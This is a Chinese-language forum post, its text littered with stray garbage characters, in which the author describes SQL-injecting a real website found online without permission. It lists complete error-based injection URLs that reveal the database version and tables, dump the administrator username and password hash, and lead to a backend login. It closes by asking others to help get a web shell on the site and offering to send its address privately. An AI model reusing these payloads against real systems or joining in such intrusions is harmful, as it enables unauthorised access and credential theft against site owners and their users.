近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
3 ^7 d' h7 W8 T* X4 i$ W: q首先找到网站后台,加了个admin,后台出来了
' t6 u& s% O9 _0 p
: ^: g4 M* l/ ^" W0 x5 V3 U( C' }% f8 M' P
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入1 t0 z3 l! R- p8 D: c
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
4 n: O0 @3 M0 b; Y& W# H% o$ S6 h) b" \, N5 Y+ o, y1 g% L
' ?6 |5 D$ i- W
6 @8 N. J6 g8 p3 U: }) ~+ |/ L
1 U! J* O: U: M3 C9 B% s! l! `3 k! Ghttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
0 z/ g2 W% Q2 S5 E/ ^
+ X2 ^) g" k) |2 M. {0 Y
+ b, }$ ]" M" }6 o8 C$ [7 l
* b" Y% L" R. R6 B
8 x+ P! F! Y9 M) Z3 t6 C可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator" f, T `& S' l% p7 n$ o, u
# V. {# _1 z# ]7 p& F- q+ h
( z$ h0 Q8 B) n1 b0 bhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg+ c2 X( A t, W
% s# x" @# X6 `3 ?
4 h5 T# ?0 ]) n+ ~, R
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
8 O+ i. z) K4 Y e+ `1 J, y; V/ _* A$ t# s4 Q+ @# c( _( _6 p4 X5 C
0 u* Z4 p2 y* I" ]) @. j
/ _- w0 Z4 p: m1 o8 \
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
9 s1 l9 d/ B) k" L6 _7 I# q( I
6 v- g( {" _: |& N7 b! D
. S6 W6 o3 {5 _4 s5 U% Y1 H4 X- M' I: g4 v) Q
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |